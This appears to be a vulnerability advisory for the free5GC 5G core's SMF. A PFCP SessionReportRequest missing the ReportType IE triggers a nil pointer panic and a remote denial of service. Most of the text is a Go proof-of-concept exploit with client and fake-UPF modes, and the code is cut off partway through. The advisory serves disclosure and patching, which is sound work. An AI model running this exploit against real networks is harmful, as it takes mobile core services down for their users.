| Description | ## Bug Decription
The free5GC SMF can be crashed remotely by sending a PFCP SessionReportRequest without the mandatory ReportType IE. In github.com/free5gc/smf/internal/pfcp/handler.HandlePfcpSessionReportRequest (around handler.go:132), the handler accesses req.ReportType.Dldr without checking whether req.ReportType is nil. When ReportType is omitted, SMF triggers a nil pointer dereference and panics, terminating the SMF process and causing a denial of service.
This is reachable during normal PDU session procedures (as shown in the log), and the PoC indicates the crash is triggered when the session state requires the downlink data report handling path (e.g., session with UpCnxState=DEACTIVATED). The PFCP dispatcher runs handlers in a goroutine (udp.go:71) without panic recovery, so the panic brings down the whole SMF process.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
## To Reproduce
Steps to reproduce the behavior:
code
```go
// Vuln-PA2-02: SMF Nil Pointer Dereference via Missing ReportType in SessionReportRequest
// Target: free5gc SMF
// Impact: Denial of Service - SMF process crash
//
// Vulnerability: The SMF's HandlePfcpSessionReportRequest handler accesses
// req.ReportType.Dldr at line 132 without checking if ReportType is nil.
// When a SessionReportRequest is sent without ReportType IE and the session
// has UpCnxState=DEACTIVATED, this causes a nil pointer dereference panic.
package main
import (
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
func main() {
mode := flag.String("mode", "client", "Mode: client or fake-upf")
targetIP := flag.String("target", "10.100.200.6", "Target SMF IP address (client mode)")
targetPort := flag.Int("port", 8805, "Target SMF PFCP port (client mode)")
nodeID := flag.String("node", "10.100.200.2", "NodeID used in Association Setup / fake UPF")
seid := flag.Uint64("seid", 1, "Target session SEID (client mode; must be valid existing session)")
scan := flag.Int("scan", 1, "Number of consecutive SEIDs to try starting from -seid (client mode)")
srTimeout := flag.Duration("sr-timeout", 2*time.Second, "Timeout waiting for SessionReportResponse (client mode)")
listenIP := flag.String("listen", "x.x.x.x", "Listen IP for fake UPF")
listenPort := flag.Int("listen-port", 8805, "Listen PFCP port for fake UPF")
reportDelay := flag.Duration("report-delay", 0, "Delay before sending SessionReportRequest (fake-upf mode)")
smfIP := flag.String("smf", "10.100.200.6", "SMF PFCP IP (fake-upf mode)")
smfPort := flag.Int("smf-port", 8805, "SMF PFCP port (fake-upf mode)")
sendAssoc := flag.Bool("send-assoc", true, "Send AssociationSetupRequest to SMF on startup (fake-upf mode)")
flag.Parse()
switch *mode {
case "client":
runClient(*targetIP, *targetPort, *nodeID, *seid, *scan, *srTimeout)
case "fake-upf":
runFakeUPF(*listenIP, *listenPort, *nodeID, *reportDelay, *smfIP, *smfPort, *sendAssoc)
default:
log.Fatalf("[-] Unknown mode: %s", *mode)
}
}
func runClient(targetIP string, targetPort int, nodeID string, seid uint64, scan int, srTimeout time.Duration) {
targetAddr := fmt.Sprintf("%s:%d", targetIP, targetPort)
log.Printf("[*] Vuln-PA2-02: SMF Nil Pointer Dereference PoC")
log.Printf("[*] Target: %s", targetAddr)
log.Printf("[*] NodeID: %s", nodeID)
log.Printf("[*] Attack: SessionReportRequest without ReportType IE")
log.Printf("[*] SEID: %d (0x%x)", seid, seid)
if scan > 1 {
log.Printf("[*] SEID scan: %d attempts starting from %d", scan, seid)
}
raddr, err := net.ResolveUDPAddr("udp", targetAddr)
if err != nil {
log.Fatalf("[-] Failed to resolve target address: %v", err)
}
conn, err := net.DialUDP("udp", nil, raddr)
if err != nil {
log.Fatalf("[-] Failed to create UDP connection: %v", err)
}
defer conn.Close()
log.Printf("[*] Step 0: Establishing PFCP Association...")
if !establishAssociation(conn, nodeID) {
log.Printf("[-] Failed to establish association")
return
}
log.Printf("[+] Association established successfully")
time.Sleep(500 * time.Millisecond)
log.Printf("[*] Vulnerability: handler.go:132 - 'if req.ReportType.Dldr {'")
log.Printf("[*] Accesses req.ReportType without nil check when UpCnxState=DEACTIVATED")
if scan < 1 {
log.Fatalf("[-] scan must be >= 1")
}
for i := 0; i < scan; i++ {
currentSeid := seid + uint64(i)
currentSeq := uint32(2 + i)
payload := buildSessionReportRequestNoReportType(currentSeid, currentSeq)
log.Printf("[*] Sending malicious SessionReportRequest (no ReportType IE)...")
log.Printf("[*] SEID: %d (0x%x) Seq: %d", currentSeid, currentSeid, currentSeq)
log.Printf("[*] Message length: %d bytes", len(payload))
_, err = conn.Write(payload)
if err != nil {
log.Fatalf("[-] Failed to send message: %v", err)
}
log.Printf("[+] Message sent successfully")
if srTimeout <= 0 {
break
}
rsp, err := waitSessionReportResponse(conn, srTimeout)
if err != nil {
if nerr, ok := err.(net.Error); ok && nerr.Timeout() {
log.Printf("[*] No SessionReportResponse (timeout) - possible crash or drop")
} else {
log.Printf("[-] Failed to read SessionReportResponse: %v", err)
}
break
}
cause, ok := sessionReportCause(rsp)
if !ok {
log.Printf("[*] SessionReportResponse received without Cause IE")
break
}
if cause == ie.CauseSessionContextNotFound {
log.Printf("[-] SEID %d not found on SMF", currentSeid)
continue
}
log.Printf("[*] SessionReportResponse Cause: %d", cause)
break
}
log.Printf("[*] Waiting for crash propagation...")
log.Printf("[*] NOTE: Crash requires session with UpCnxState=DEACTIVATED")
time.Sleep(2 * time.Second)
probeSmf(conn)
}
func runFakeUPF(listenIP string, listenPort int, nodeID string, reportDelay time.Duration, smfIP string, smfPort int, sendAssoc bool) {
listenAddr := fmt.Sprintf("%s:%d", listenIP, listenPort)
laddr, err := net.ResolveUDPAddr("udp", listenAddr)
if err != nil {
log.Fatalf("[-] Failed to resolve listen address: %v", err)
}
conn, err := net.ListenUDP("udp", laddr)
if err != nil {
log.Fatalf("[-] Failed to listen on %s: %v", listenAddr, err)
}
defer conn.Close()
log.Printf("[*] Fake UPF mode: listening on %s", listenAddr)
log.Printf("[*] Fake UPF NodeID: %s", nodeID)
log.Printf("[*] SMF target: %s:%d", smfIP, smfPort)
log.Printf("[*] Waiting for AssociationSetupResponse, SessionEstablishmentRequest, and SessionModificationRequest...")
var smfAddr *net.UDPAddr
if sendAssoc {
target := fmt.Sprintf("%s:%d", smfIP, smfPort)
var err error
smfAddr, err = net.ResolveUDPAddr("udp", target)
if err != nil {
log.Fatalf("[-] Failed to resolve SMF address: %v", err)
}
if err := sendAssociationSetupRequest(conn, smfAddr, nodeID, 1); err != nil {
log.Printf("[-] Failed to send AssociationSetupRequest: %v", err)
} else {
log.Printf("[+] AssociationSetupRequest sent to %s", target)
}
}
buf := make([]byte, 4096)
reportSeq := uint32(100)
assocDone := false
reportPending := false
reportSent := false
var cpSeid uint64
var smfPeer *net.UDPAddr
for {
n, raddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("[-] Read error: %v", err)
continue
}
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[-] Failed to parse PFCP message from %s: %v", raddr, err)
continue
}
switch m := msg.(type) {
case *message.AssociationSetupResponse:
log.Printf("[+] AssociationSetupResponse from %s (cause=%v)", raddr, m.Cause)
assocDone = true
case *message.AssociationSetupRequest:
reqNodeID := nodeIDFromIE(m.NodeID)
log.Printf("[*] AssociationSetupRequest from %s (NodeID: %s)", raddr, reqNodeID)
if err := sendAssociationSetupResponse(conn, raddr, nodeID, m.Sequence()); err != nil {
log.Printf("[-] Failed to send AssociationSetupResponse: %v", err)
} else {
log.Printf("[+] AssociationSetupResponse sent")
}
assocDone = true
case *message.SessionEstablishmentRequest:
reqNodeID := nodeIDFromIE(m.NodeID)
cpSeidFromReq, fseidInfo, ok := cpfSeidFromSessionEstablishment(m)
if !ok {
log.Printf("[-] SessionEstablishmentRequest missing CPFSEID (NodeID: %s)", reqNodeID)
continue
}
log.Printf("[*] SessionEstablishmentRequest from %s (NodeID: %s)", raddr, reqNodeID)
log.Printf("[*] CPFSEID: %d (0x%x) IPv4=%s IPv6=%s", cpSeidFromReq, cpSeidFromReq, ipString(fseidInfo.IPv4Address), ipString(fseidInfo.IPv6Address))
if !assocDone {
log.Printf("[!] SessionEstablishmentRequest received before AssociationSetupResponse")
}
if err := sendSessionEstablishmentResponse(conn, raddr, nodeID, listenIP, cpSeidFromReq, m.Sequence()); err != nil {
log.Printf("[-] Failed to send SessionEstablishmentResponse: %v", err)
} else {
log.Printf("[+] SessionEstablishmentResponse sent")
}
cpSeid = cpSeidFromReq
smfPeer = raddr
reportPending = true
log.Printf("[*] Report armed: waiting for SessionModificationRequest before sending SessionReportRequest")
case *message.SessionModificationRequest:
reqSeid := m.SEID()
log.Printf("[*] SessionModificationRequest from %s (SEID: %d)", raddr, reqSeid)
if err := sendSessionModificationResponse(conn, raddr, reqSeid, m.Sequence()); err != nil {
log.Printf("[-] Failed to send SessionModificationResponse: %v", err)
} else {
log.Printf("[+] SessionModificationResponse sent")
}
if reportPending && !reportSent && hasBufferedUpdateFAR(m) {
if reportDelay > 0 {
log.Printf("[*] Waiting %s before sending SessionReportRequest...", reportDelay)
time.Sleep(reportDelay)
|
|---|